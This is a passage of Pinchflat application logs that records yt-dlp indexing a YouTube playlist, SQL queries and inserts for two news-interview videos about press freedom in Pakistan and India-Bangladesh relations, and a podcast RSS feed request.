s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:11:36.283 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 00:11:36.284 [debug] Current batch of media processed. Will check again in 1000ms 00:11:36.285 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=68.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:11:36.285 [debug] QUERY OK source="settings" db=0.6ms idle=43.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:11:36.287 [debug] QUERY OK source="settings" db=0.5ms queue=0.3ms idle=19.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:11:36.288 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cd/c7/cdc7006c3bb3e74f4edf2526ecd37641af3806d09ceb84609b0dab705d133dc8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 00:11:37.285 [debug] Current batch of media processed. Will check again in 1000ms 00:11:38.287 [debug] Current batch of media processed. Will check again in 1000ms 00:11:39.288 [debug] Current batch of media processed. Will check again in 1000ms 00:11:40.289 [debug] Current batch of media processed. Will check again in 1000ms 00:11:41.293 [debug] Current batch of media processed. Will check again in 1000ms 00:11:42.296 [debug] Current batch of media processed. Will check again in 1000ms 00:11:43.449 [debug] Current batch of media processed. Will check again in 1000ms 00:11:44.450 [debug] Current batch of media processed. Will check again in 1000ms 00:11:45.453 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 00:11:45.475 [debug] QUERY OK source="sources" db=19.8ms queue=0.2ms idle=1794.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 00:11:45.484 [debug] QUERY OK source="sources" db=1.5ms queue=0.5ms idle=1820.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:11:45.518 [debug] QUERY OK source="media_items" db=30.3ms queue=0.2ms idle=1827.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 00:11:45.570 [debug] QUERY OK source="media_items" db=21.9ms queue=0.1ms idle=1252.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "dd4693da-32db-4fe2-809b-14ad8810139e", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-11 00:11:45Z], ~U[2026-01-11 00:11:45Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 00:11:45.593 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=321.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:11:45.596 [debug] QUERY OK source="media_profiles" db=1.1ms queue=1.0ms idle=119.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:11:45.601 [debug] QUERY OK source="media_items" db=2.6ms queue=0.3ms idle=115.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 00:11:45.601 [debug] Current batch of media processed. Will check again in 1000ms 00:11:46.602 [debug] Current batch of media processed. Will check again in 1000ms 00:11:47.604 [debug] Current batch of media processed. Will check again in 1000ms 00:11:48.605 [debug] Current batch of media processed. Will check again in 1000ms 00:11:49.420 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cd/c7/cdc7006c3bb3e74f4edf2526ecd37641af3806d09ceb84609b0dab705d133dc8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 00:11:49.422 [debug] Gracefully stopping file follower 00:11:49.423 [debug] QUERY OK source="sources" db=1.4ms queue=0.2ms idle=760.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 00:11:49.426 [debug] QUERY OK source="sources" db=1.0ms queue=0.9ms idle=762.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:11:49.428 [debug] QUERY OK source="media_items" db=1.1ms idle=764.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 00:11:49.434 [debug] QUERY OK source="media_items" db=4.3ms idle=766.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "ee716517-4c1c-4432-83d6-bee4d6e4aa13", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-11 00:11:49Z], ~U[2026-01-11 00:11:49Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 00:11:49.451 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=163.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:11:49.468 [debug] QUERY OK source="media_items" db=15.9ms queue=0.1ms idle=28.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 00:11:49.501 [debug] QUERY OK source="media_items" db=32.2ms idle=42.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "3349062c-d15f-4c87-9170-f3cdd40cbaea", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-11 00:11:49Z], ~U[2026-01-11 00:11:49Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 00:11:49.505 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=76.2ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-11 00:11:49Z], ~U[2026-01-11 00:11:49Z], 1] 00:11:49.507 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=72.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 00:11:49.509 [debug] QUERY OK source="media_items" db=1.4ms idle=57.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 00:11:49.510 [debug] QUERY OK source="media_items" db=0.6ms idle=42.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 00:11:49.562 [debug] QUERY OK source="tasks" db=23.8ms idle=31.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [103, 1, ~U[2026-01-11 00:11:49Z], ~U[2026-01-11 00:11:49Z]] 00:11:49.564 [info] {"args":{"id":1},"id":102,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":13350023,"event":"job:stop","queue_time":57510,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 00:11:50.757 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 00:11:50.757 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 00:11:50.760 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=469.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 00:11:50.762 [debug] QUERY OK source="media_items" db=1.8ms queue=0.2ms idle=98.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE 